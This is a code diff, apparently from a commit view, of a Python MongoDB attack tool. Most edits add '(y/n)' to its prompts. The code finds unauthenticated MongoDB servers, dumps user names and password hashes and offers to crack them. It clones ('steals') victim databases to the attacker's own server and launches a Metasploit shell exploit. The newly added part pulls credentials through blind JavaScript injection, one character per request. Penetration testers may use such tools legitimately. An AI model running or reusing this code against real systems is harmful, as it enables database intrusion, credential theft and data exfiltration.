26
26
import json
27
27
import gridfs
28
28
import ipcalc
29
+ import signal
29
30
from hashlib import md5
30
31
31
32
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
@@ -240,10 +241,6 @@ def options():
240
241
print "\n Shell/DB listener set to " + myIP + "\n "
241
242
optionSet [4 ] = True
242
243
options ()
243
- #myIP = raw_input("Enter host IP for my Mongo/Shells: ")
244
- #print "Shell IP set to " + myIP + "\n"
245
- #optionSet[4] = True
246
- #options()
247
244
248
245
elif select == "6" :
249
246
myPort = raw_input ("Enter TCP listener for shells: " )
@@ -345,7 +342,7 @@ def netAttacks(target):
345
342
#This is a global for future use with other modules; may change
346
343
global dbList
347
344
348
- srvNeedCreds = raw_input ("Does the database server need credentials? " )
345
+ srvNeedCreds = raw_input ("Does the database server need credentials (y/n) ? " )
349
346
350
347
if srvNeedCreds == "n" or srvNeedCreds == "N" :
351
348
@@ -378,7 +375,7 @@ def netAttacks(target):
378
375
mgtRespCode = urllib .urlopen (mgtUrl ).getcode ()
379
376
if mgtRespCode == 200 :
380
377
print "MongoDB web management open at " + mgtUrl + ". No authentication required!"
381
- testRest = raw_input ("Start tests for REST Interface? " )
378
+ testRest = raw_input ("Start tests for REST Interface (y/n) ? " )
382
379
383
380
if testRest == "y" or testRest == "Y" :
384
381
restUrl = mgtUrl + "/listDatabases?text=1"
@@ -443,7 +440,7 @@ def netAttacks(target):
443
440
print "Username: " + users [x ]['user' ]
444
441
print "Hash: " + users [x ]['pwd' ]
445
442
print "\n "
446
- crack = raw_input ("Crack this hash? " )
443
+ crack = raw_input ("Crack this hash (y/n) ? " )
447
444
448
445
if crack == "y" :
449
446
brute_pass (users [x ]['user' ],users [x ]['pwd' ])
@@ -454,7 +451,7 @@ def netAttacks(target):
454
451
print "\n "
455
452
#Start GridFS enumeration
456
453
457
- testGrid = raw_input ("Check for GridFS? " )
454
+ testGrid = raw_input ("Check for GridFS (y/n) ? " )
458
455
459
456
if testGrid == "y" or testGrid == "Y" :
460
457
for dbItem in dbList :
@@ -469,12 +466,12 @@ def netAttacks(target):
469
466
except :
470
467
print "GridFS not enabled on " + str (dbItem ) + "."
471
468
472
- stealDB = raw_input ("Steal a database? ( Requires your own Mongo instance) : " )
469
+ stealDB = raw_input ("Steal a database (y/n- Requires your own Mongo server)? : " )
473
470
474
471
if stealDB == "y" or stealDB == "Y" :
475
472
stealDBs (myIP )
476
473
477
- getShell = raw_input ("Try to get a shell? (Requrires mongoDB <2.2.4)? " )
474
+ getShell = raw_input ("Try to get a shell? (y/n- Requrires mongoDB <2.2.4)? " )
478
475
479
476
if getShell == "y" or getShell == "Y" :
480
477
#Launch Metasploit exploit
@@ -713,7 +710,7 @@ def webApps():
713
710
possAddrs .append (uriArray [9 ])
714
711
715
712
print "\n "
716
- doTimeAttack = raw_input ("Start timing based tests? " )
713
+ doTimeAttack = raw_input ("Start timing based tests (y/n) ? " )
717
714
718
715
if doTimeAttack == "y" or doTimeAttack == "Y" :
719
716
print "Starting Javascript string escape time based injection..."
@@ -777,7 +774,7 @@ def webApps():
777
774
else :
778
775
print "Integer attack-Unsuccessful"
779
776
780
- fileOut = raw_input ("Save results to file? " )
777
+ fileOut = raw_input ("Save results to file (y/n) ? " )
781
778
782
779
if fileOut == "y" or fileOut == "Y" :
783
780
savePath = raw_input ("Enter output file name: " )
@@ -809,7 +806,7 @@ def webApps():
809
806
def webDBAttacks (trueLen ):
810
807
nameLen = 0
811
808
injTestLen = 0
812
- getDBName = raw_input ("Get database name? " )
809
+ getDBName = raw_input ("Get database name (y/n) ? " )
813
810
814
811
if getDBName == "y" or getDBName == "Y" :
815
812
while injTestLen != trueLen :
@@ -987,7 +984,7 @@ def stealDBs(myDB):
987
984
988
985
try :
989
986
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
990
- dbNeedCreds = raw_input ("Does this database require credentials? " )
987
+ dbNeedCreds = raw_input ("Does this database require credentials (y/n) ? " )
991
988
992
989
if dbNeedCreds == "n" or dbNeedCreds == "N" :
993
990
myDBConn = pymongo .MongoClient (myDB ,27017 )
@@ -1002,7 +999,7 @@ def stealDBs(myDB):
1002
999
raw_input ("Invalid Selection. Press enter to continue." )
1003
1000
stealDBs (myDB )
1004
1001
1005
- cloneAnother = raw_input ("Database cloned. Copy another? " )
1002
+ cloneAnother = raw_input ("Database cloned. Copy another (y/n) ? " )
1006
1003
1007
1004
if cloneAnother == "y" or cloneAnother == "Y" :
1008
1005
stealDBs (myDB )
@@ -1144,7 +1141,10 @@ def getDBInfo():
1144
1141
charCounter = 0
1145
1142
nameCounter = 0
1146
1143
usrCount = 0
1147
- usrRetr = 0
1144
+ retrUsers = 0
1145
+ users = []
1146
+ hashes = []
1147
+
1148
1148
chars = string .ascii_letters + string .digits
1149
1149
print "Getting baseline True query return size..."
1150
1150
trueUri = uriArray [16 ].replace ("---" ,"return true; var dummy ='!" + "&" )
@@ -1191,7 +1191,7 @@ def getDBInfo():
1191
1191
charCounter += 1
1192
1192
print "\n "
1193
1193
1194
- getUserInf = raw_input ("Get database users and password hashes? " )
1194
+ getUserInf = raw_input ("Get database users and password hashes (y/n) ? " )
1195
1195
1196
1196
if getUserInf == "y" or getUserInf == "Y" :
1197
1197
charCounter = 0
@@ -1208,45 +1208,75 @@ def getDBInfo():
1208
1208
else :
1209
1209
usrCount += 1
1210
1210
1211
- print "User:password hash"
1212
- while usrRetr < usrCount :
1213
- while gotUserCnt == False :
1214
- #first solve for the first user in the DB
1215
- #figure out how long the username is
1216
- usrLenUri = uriArray [16 ].replace ("---" , "cur=db.system.users.findOne();uname=cur.user; if (uname.length==" + str (charCounter ) + "){return true;}var dum = 'a" + "&" )
1217
- lenUri = int (len (urllib .urlopen (usrLenUri ).read ()))
1218
-
1219
- if lenUri == baseLen :
1220
- print "First username is" + str (charCounter ) + "characters."
1221
- gotUserCnt = True
1222
-
1223
- else :
1224
- charCounter += 1
1211
+ usrChars = 0 #total number of characters in username
1212
+ charCounterUsr = 0 #position in the character array-Username
1213
+ rightCharsUsr = 0 #number of correct characters-Username
1214
+ rightCharsHash = 0 #number of correct characters-hash
1215
+ charCounterHash = 0
1216
+ username = ""
1217
+ pwdHash = ""
1218
+ charCountUsr = False
1219
+ query = "{}"
1220
+
1221
+ while retrUsers < usrCount :
1222
+ if retrUsers == 0 :
1223
+ while charCountUsr == False :
1224
+ #different query to get the first user vs. others
1225
+ usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.user.length == " + str (usrChars ) + ") { return true; } var dum='a" + "&" )
1226
+ lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1225
1227
1226
-
1227
- while finUser == False :
1228
- charUri = uriArray [16 ].replace ("---" ,"var cur = db.system.users.findOne(); if (cur.user.charAt(" + str (nameCounter ) + ") == '" + chars [charCounter ] + "') { return true; } vardum='a" + "&" )
1229
- #print "Debug: " + charUri
1230
-
1231
- lenUri = int (len (urllib .urlopen (charUri ).read ()))
1232
- #print "debug: " + str(charCounter)
1233
- #print "Debug length: " + str(lenUri)
1234
-
1235
- if lenUri == baseLen :
1236
- uName = uName + chars [charCounter ]
1237
- print chars [charCounter ],
1238
- nameCounter += 1
1239
- charCounter = 0
1240
-
1241
- if nameCounter == curLen :
1242
- finUser = True
1228
+ if lenUri == baseLen :
1229
+ #Got the right number of characters
1230
+ charCountUsr = True
1231
+
1232
+ else :
1233
+ usrChars += 1
1234
+
1235
+ while rightCharsUsr < usrChars :
1236
+ usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.user.charAt(" + str (rightCharsUsr ) + ") == '" + chars [charCounterUsr ] + "') { return true; } vardum='a" + "&" )
1237
+ lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1238
+
1239
+ if lenUri == baseLen :
1240
+ username = username + chars [charCounterUsr ]
1241
+ #print username
1242
+ rightCharsUsr += 1
1243
+ charCounterUsr = 0
1243
1244
1245
+ else :
1246
+ charCounterUsr += 1
1247
+
1248
+ retrUsers += 1
1249
+ users .append (username )
1250
+ #print str(retrUsers)
1251
+ #print str(users)
1252
+
1253
+ while rightCharsHash < 32 : #Hash length is static
1254
+ hashUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str (rightCharsHash ) + ") == '" + chars [charCounterHash ] + "') { return true; } vardum='a" + "&" )
1255
+ lenUri = int (len (urllib .urlopen (hashUri ).read ()))
1256
+
1257
+ if lenUri == baseLen :
1258
+ pwdHash = pwdHash + chars [charCounterHash ]
1259
+ #print pwdHash
1260
+ rightCharsHash += 1
1261
+ charCounterHash = 0
1262
+
1263
+ else :
1264
+ charCounterHash += 1
1265
+
1266
+ hashes .append (pwdHash )
1267
+ print "Got user:hash " + users [0 ] + ":" + hashes [0 ]
1268
+
1244
1269
else :
1245
- charCounter += 1
1270
+ print "more users go here."
1246
1271
1247
1272
1248
1273
1249
1274
1250
1275
raw_input ("Press enter to continue..." )
1251
1276
1277
+ def signal_handler (signal , frame ):
1278
+ print "\n "
1279
+ print "CTRL+C detected. Exiting."
1280
+ sys .exit (0 )
1281
+ signal .signal (signal .SIGINT , signal_handler )
1252
1282
mainMenu ()
0 commit comments